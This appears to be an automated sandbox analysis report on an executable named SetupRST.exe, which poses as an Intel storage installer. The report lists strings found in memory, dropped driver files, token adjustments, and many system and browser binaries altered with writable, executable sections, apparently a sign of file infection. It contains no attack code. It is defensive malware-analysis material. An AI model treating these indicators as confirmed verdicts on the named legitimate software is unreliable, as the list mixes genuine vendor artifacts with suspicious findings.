Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/SetupRST;component/Assets/Colors.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/SetupRST;component/Assets/Styles.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/SetupRST;component/Main/CustomWindow.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/SetupRST;component/StepsViews/StepViewsDataTemplates.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/SetupRST;component/app.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Assets/Colors.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Assets/Styles.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Main/CustomWindow.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/StepsViews/StepViewsDataTemplates.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xaml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.baml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/assets/colors.baml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/assets/styles.baml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/main/customwindow.baml
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/stepsviews/stepviewsdatatemplates.baml
Source: SetupRST.exe	String found in binary or memory: http://iptc.org/std/Iptc4xmpExt/2008-02-29/
Source: SetupRST.exe	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: SetupRST.exe	String found in binary or memory: http://ocsp.godaddy.com/0J
Source: SetupRST.exe	String found in binary or memory: http://ocsp.godaddy.com0F
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: SetupRST.exe	String found in binary or memory: http://ocsp.starfieldtech.com/09
Source: SetupRST.exe	String found in binary or memory: http://ocsp.starfieldtech.com/0D
Source: SetupRST.exe	String found in binary or memory: http://www.daltonmaag.com/eul
Source: SetupRST.exe	String found in binary or memory: http://www.daltonmaag.com/eula
Source: SetupRST.exe	String found in binary or memory: http://www.daltonmaag.com/eulaCopyright
Source: SetupRST.exe	String found in binary or memory: http://www.daltonmaag.com/eulaRegularVersion
Source: SetupRST.exe	String found in binary or memory: http://www.gimp.org/xmp/
Source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.intel.com/privacy
Source: alg.exe, 00000004.00000003.1637287162.0000000001650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: alg.exe, 00000004.00000003.2177398258.0000000000410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: SetupRST.exe	String found in binary or memory: https://certs.starfieldtech.com/repository/0
Source: alg.exe, 00000004.00000003.2032036278.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: alg.exe, 00000004.00000003.2032036278.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/reportenterprise_management.LicenseTypeenterprise_management.SignedDa
Source: alg.exe, 00000004.00000003.1668498272.0000000001660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxFailed
Source: alg.exe, 00000004.00000003.1669069136.0000000001660000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1669240037.0000000001660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxHKEY_LOCAL_MACHINE
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://comments.adobe.io
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://comments.adobe.io/schemas/annots_metadata.jsonld
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://comments.adobe.io/schemas/user_comment_metadata_result_v1.json
Source: alg.exe, 00000004.00000003.2177500758.0000000000410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/
Source: alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: alg.exe, 00000004.00000003.2030612184.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://dc-api.adobe.io/discovery
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://dc-api.adobe.io/discoverySoftware
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://dc-api.adobe.io/schemas/discovery_v1.json
Source: alg.exe, 00000004.00000003.2177602359.0000000000410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: alg.exe, 00000004.00000003.2177602359.0000000000410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881118.0.1
Source: alg.exe, 00000004.00000003.2177091600.0000000000410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://notify-stage.adobe.io/ans
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://notify-stage.adobe.io/ans/
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://notify-stage.adobe.io/anshttps://notify.adobe.io/ansEnableDesktopNotificationlocale
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://notify.adobe.io/ans
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://notify.adobe.io/ans/
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://p13n-stage.adobe.io/psdk/v2/content?
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://p13n-stage.adobe.io/psdk/v2/content?https://p13n.adobe.io/psdk/v2/content?%Y-%m-%dT%H:%M:%SZ
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://p13n.adobe.io/psdk/v2/content?
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://reviews.adobe.io
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://reviews.adobe.iourifullpayloadlinksinvitationURIreviewURIcommentingAssetURNEurekaInvitationI
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://scss.adobesc.com
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://scss.adobesc.comAcroCoreSyncSharedReviewLoggingEnabledAcrobat_DesktopUserhttps://comments.ad
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://scss.adobesc.cominvalidAnnotIdList
Source: AdobeCollabSync.exe.4.dr	String found in binary or memory: https://scss.adobesc.comreasoncom.adobe.review.sdk
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: alg.exe, 00000004.00000003.2043753679.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=usage_stats_cra
Source: alg.exe, 00000004.00000003.2043625904.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=usage_stats_crash_reports
Source: alg.exe, 00000004.00000003.2031219473.0000000001550000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=chrome_uninstall_surveymicrosoft-edge:open..
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.intel.cn/content/www/cn/zh/privacy/intel-privacy-notice.html
Source: SetupRST.exe	String found in binary or memory: https://www.intel.com/content/www/us/en/support/articles/000057951
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.intel.com/content/www/us/en/support/articles/000057951BPinningRemovalWarningDataTemplate
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.intel.com/content/www/us/en/support/articles/000057951CPinningRemovalWarningDataTemplate
Source: SetupRST.exe	String found in binary or memory: https://www.intel.com/content/www/us/en/support/contact-support.html?productId=35125#

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaComponent\iaStorHsaComponent.cat	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaExtension\iaStorHsa_Ext.cat	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.cat	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.sys

Jump to behavior

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\8acd869c9487361.bin

Jump to behavior

Source: C:\Users\user\Desktop\SetupRST.exe	Code function: 0_2_00502ED0	0_2_00502ED0
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Code function: 2_2_00007FFB4B140A88	2_2_00007FFB4B140A88
Source: C:\Windows\System32\AppVClient.exe	Code function: 8_2_00BD2ED0	8_2_00BD2ED0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D82ED0	10_2_00D82ED0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009C2ED0	11_2_009C2ED0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01D02ED0	12_2_01D02ED0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Jump to behavior

Source: SetupRST.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: Resource name: BL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 1522998 bytes, 1 file, at 0x2c +A "setup.exe", number 1, 133 datablocks, 0x1203 compression
Source: Acrobat.exe.4.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)

Source: ie_to_edge_stub.exe.4.dr	Static PE information: Number of sections : 11 > 10
Source: notification_click_helper.exe.4.dr	Static PE information: Number of sections : 13 > 10
Source: setup.exe.4.dr	Static PE information: Number of sections : 13 > 10
Source: elevation_service.exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: msedgewebview2.exe.4.dr	Static PE information: Number of sections : 14 > 10
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: Number of sections : 13 > 10
Source: elevation_service.exe0.0.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_proxy.exe.4.dr	Static PE information: Number of sections : 12 > 10
Source: identity_helper.exe.4.dr	Static PE information: Number of sections : 12 > 10

Source: SetupRST.exe.0.dr	Static PE information: No import functions for PE file found
Source: RstMwEventLogMsg.dll.2.dr	Static PE information: No import functions for PE file found

Source: SetupRST.exe	Binary or memory string: OriginalFilename vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000003.1464205077.00000000028E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000003.1525215883.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemaintenanceservice.exe0 vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000003.1459549125.00000000028E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCore.dll* vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameInterfaces.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLocalization.dll: vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTools.dll, vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameViewModels.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameLocalization.resources.dll< vs SetupRST.exe
Source: SetupRST.exe, 00000000.00000003.1488124114.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDiagnosticsHub.StandardCollector.Service.exeD vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTools.dll, vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameInterfaces.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameInterfaces.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTools.dll, vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRstMwService.exe vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCore.dll* vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameiaStorVD.sys vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRstMwEventLogMsg.dllz- vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameCore.dll* vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameInterfaces.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameLocalization.dll: vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameTools.dll, vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameViewModels.dll6 vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameLocalization.resources.dll< vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLocalization.dll: vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCore.dll* vs SetupRST.exe
Source: SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLocalization.dll: vs SetupRST.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: SetupRST.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.4.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
